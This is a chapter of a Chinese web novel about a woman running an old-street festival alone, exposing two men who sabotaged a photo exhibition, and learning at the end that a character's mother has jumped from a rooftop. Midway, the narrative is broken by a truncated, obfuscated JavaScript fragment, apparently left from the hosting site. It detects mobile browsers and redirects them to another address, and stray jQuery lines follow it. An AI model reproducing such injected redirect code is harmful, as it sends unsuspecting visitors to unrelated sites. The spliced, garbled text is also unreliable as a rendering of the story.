46. 春分

作品:《老街情缘

    春分当天,老街活动即将开始。


    一大早,余念念便收拾妥当,站在落地镜前。


    镜子里那张脸上,一夜没睡略显憔悴的脸色和浓重的黑眼圈被精致的妆容掩盖住,双眸中闪着倔强不服输的光。她看着自己,默念:加油,余念念,你一个人也可以的。


    是的,她一个人。


    白砚并没有如约回来。


    前一天下午,她正在安福楼忙着为活动做最后的准备,突然收到白砚的消息:【是你把何景明介绍给我妈的?】


    她愣住,有些心慌地给白砚回电话,想解释,但拨过去的电话一直没人接。


    接下来的一整天,白砚没再发消息,没回复她长长的解释,更没有给她回电话。


    她在茶馆等到深夜,回到家又失眠了一整晚,强迫自己把思绪拉回到老街活动上,但总有几缕顽固的焦躁萦绕在她的心头。


    白砚到底怎么了?他在生她的气?气到不想回来陪她办完活动?


    直觉告诉她他不是那样的人。


    但她找不到一个合理的解释。


    中途有无数次,她想冲到颜喜书画斋,找白老问一问白砚有没有回来、在哪里、在干嘛,但很快被理智强行压下。


    直到此时,活动即将开始,她站在落地镜前,深呼吸一口,让一切纷乱的思绪平复下来,告诉自己:“余念念,无论如何,撑过今天。要对得起常主任的信赖,对得起老街所有人的托付。”


    ——————


    早上八点,老街入口的十字路口。


    公告栏被装点一新,外框上众多狗皮膏药般的小卡片被清理得一干二净,重新粉刷后的四条边框既泛着清漆的光芒,又露出下边颇有年代感的木头质地。


    边框之中,公告栏上,张贴的内容保持了老街的原汁原味。


    居中,一张清俊的楷体手写公告,昭告了今天的老街活动,向前来游玩的人表示了欢迎。围着这张公告,是老街原本每天上演的日常琐事——寻猫启示上是手画的一张肥猫特写,招租广告上是手写的文案外加一张歪歪扭扭的房间布局图,裁缝店招人启事老板的手写文案情真意切,某个街坊家办喜事的公告下写满了祝福的话。


    已经有不少闻信而来的游人聚在公告栏边,兴致盎然地读着,读到最后,一道箭头直直指向街道对面:【请到老街茶馆喝茶!】


    不到九点,老街茶馆已经挤满了人。


    正中间的桌子上,魏大爷和王大爷正在对弈,两人的一举一动都被实时放大到墙上的大屏幕上——表情一个比一个严肃,背挺得一个比一个直,每走一步都十分深思熟虑,又不敢太过深思熟虑以免让周围围观的一圈人等得不耐烦,两个人的脑门上仿佛刻着余念念交代的几个大字:我是一个下象棋的NPC。


    旁边的桌子上,小汤包和刘大爷也下着棋,一老一少的组合吸引了不少目光。刘大爷紧皱着眉,隔几分钟就要瞟一眼对面的小汤包,试图用眼神示意:给我留点面子。而小汤包则稳重得多,像个小佛陀,目不转睛地盯着棋盘,看得周围人忍俊不禁。


    余念念在茶馆里逛了一圈,没有看到何景明的身影——照理说,像他这样急功近利的人,应该不会放过这么好的宣传机会才对,至少也应该站在小汤包身后,逢人就炫耀这是XX象棋学校教出来的学生。


    她避开人群,找了个角落,拨了个电话,另一头,沈童很快接起来。


    “怎么样?东西都准备好了么?”余念念问。


    “都按你给的规格准备好了!我办事你放心!”沈童沉声道。


    ——————


    中午时分,人群大多聚集在了老孙和李婶的摊子前。


    两人像武林高手一样隔空过招,只不过,使的不是武器招式,而是美食和嗅觉攻击。


    “哇!好香!”“YUE!好臭!”


    只要走过这段路,不管男女老少,不管光鲜亮丽还是蓬头垢面,都免不了被香味或者臭味吸引,爆出一句惊叹,接着,奔向某个摊位。


    老孙使出了平生所学,将各种点心小吃翻着样地摆上台面,时不时抬头瞄向对面李婶的摊子,并对比一下哪边聚的人更多。


    李婶则顾不了那么多,崇安双臭不仅臭味惊人,所需要的烹饪技巧也十分复杂,她像个武林高手,在两个锅之间有条不紊地操作拿捏着,隔一阵子,揭开某个锅盖,熏跑一群人,又吸引来另一波人,人来人往,她毫不受影响,平稳得与平日里叽叽喳喳聊八卦的样子判若两人。


    余念念默默看了一会儿,被李婶扫地僧般老练的表情和动作逗得笑出来。李婶眼尖地瞅见,伸手招呼道:“小余!快过来!”


    余念念挤进去,一只饭盒递到她眼下,李婶招呼道:“给你留的!快!趁热吃!”


    余念念眼眶一热,赶紧深呼吸一口,接过来。


    李婶手上边忙着,边道:“忙了一早上了吧?一清早出门时就看你脸色不好,等过了今天赶紧休息两天!欸白砚怎么到现在都没见人影?”


    余念念含糊应着,退了出来,怕退得晚了,又被某种情绪控制了大脑——此时此刻,她只应做一个没有感情的盯场机器。


    走过老孙和李婶的摊位,往前走不远,便是老潘照相馆和颜喜书画斋。


    两个店铺前都挤满了人。


    老潘照相馆前挂满了几十年来老街人的各色相片,复古的色调和老街住宅独特的背景吸引了本地住户和外面来游玩的人都驻足,一家人一起出游的,免不了跨进去也拍一张全家福。


    对面,颜喜书画斋内,白老本人正在挥毫泼墨,画着一幅老街街景图,那画面本身就成了一副金字招牌。懂行的围观看作画,不懂行的挤进去看热闹,书画斋里的书法作品、山水画、插了鲜花的古意花瓶、焚着香的小香炉,连桌椅板凳,都被好奇的客人摸了个遍。


    ——————


    傍晚时分,人群逐渐聚集到老街深处的安福楼——按照活动流程,晚上七点,这里会举行本市著名摄影师白塔的老街主题摄影展。


    丰岚广告公司负责摄影展的准备工作,在安福楼院子的一角搭了间简易小屋,此时,工作人员进进出出,将即将展出的摄影作品搬进搬出。


    一进屋,余念念便察觉到角落里两道凑在一起低声交谈的人影——何景明和项卓。


    见她进来,两人忙散开,何景明满脸堆笑地走过来,嘴里道着:“余老板,活动办得这么红火,恭喜恭喜呀!”


    他身后,项卓往余念念脸上瞄了一眼,眼里闪过一丝不怀好意的笑容。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422881|148187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >余念念没跟他们两人多话,看了眼时间,朝屋外挥了挥手。


    沈童衣角带风地进了门,身后跟了几个壮汉,每个人都扛了块一人多高的物料,径直走向屋角的几幅还盖着薄纱的摄影展品。


    “哎!你们干嘛的!”项卓大惊失色,跳出来拦在展品前。一旁,何景明脸色微变,默默旁观。


    余念念朝壮汉递了个眼色,几人轻松越过项卓,将抗进来的东西和屋角原本摆放的东西做了替换。


    “余念念!你想干嘛!”项卓喊道。


    余念念轻轻扫了他一眼,不和他多言语,掏出手机,打了个电话。


    几分钟后,小屋内,匆匆赶来贾福看着眼前余念念手机里的视频,脸色青一阵白一阵,良久,瞪向身后的项卓。


    项卓呆楞地看着余念念手机上,他和何景明偷偷摸摸将摄影展品替换成象棋学校广告的小丑行径,脸上一阵扭曲,恼羞成怒:“你敢监视我?!”


    余念念面无表情迎着他的怒意,又扫了眼角落里将自己隐藏在阴影里的何景明,叹了口气:“何景明,从你最后一次迈出茶馆,我就注意提防你了。而你,项卓,我更是从来不敢百分百信任。你们俩还真是不负我所望地勾搭到了一起,真是一个蠢一个笨,狼狈为奸愚蠢至极!”


    项卓吼了一声朝她冲过来,被贾福一把拉住,怒喝:“你还想给我捅出什么篓子?!余老板私下找我来已经给足我面子了,不然她早就报警了!”


    说着,他回头冲余念念陪着笑点点头,拖着项卓出了门,何景明亦步亦趋地跟了出去,像条丧家之犬。


    屋内安静下来。


    余念念走到角落,扯开薄纱,沈童带来的几幅展品上,白砚拍的老街日落泛着柔和的光。


    余念念伸手摸了摸照片上的夕阳,长长出了口气,低声道:“谢谢你童童,还好有你。”


    沈童几步走到她身边,扭头看了眼她的脸色,忍了片刻,还是没忍住:“白砚死哪去了?这不是为他办的展?”


    一阵沉默后,余念念喃喃道:“是啊......死哪去了......”


    几秒钟后,她迅速收拾好表情,揽过沈童的肩膀,语调重新高昂:“不过没事,总算快结束了!晚上喝酒去呀?”


    沈童笑着翻了个白眼:“你忘了上次我们俩单独喝酒的下场了?”


    余念念:“......”


    ——————


    晚上九点,活动完美落幕。


    无数人冲着知名摄影师白塔摄影作品而来,虽然遗憾没能看到白塔本人真容,但得以一饱白塔摄影作品的眼福,尽兴而归。


    市领导藏在游人中间,从早到晚体会了老街完□□貌,到最后才现身,与常主任在安福楼下握手交谈,对活动大加赞赏。


    活动结束的音乐声里,余念念看着众人散场的身影,从心底里长长松了一口气。


    跟在最后一批离场的人往外慢慢走着,远远地,小优的身影狂奔而来,跑到余念念面前时,满头大汗,上气不接下气。


    “怎么了?怎么不在茶馆看着跑到这儿来了?”余念念接着她。


    “老板,茶馆出事了......”小优两手撑着膝盖,喘着气道。


    “陈帆的妈妈,从茶馆天台跳了下去!”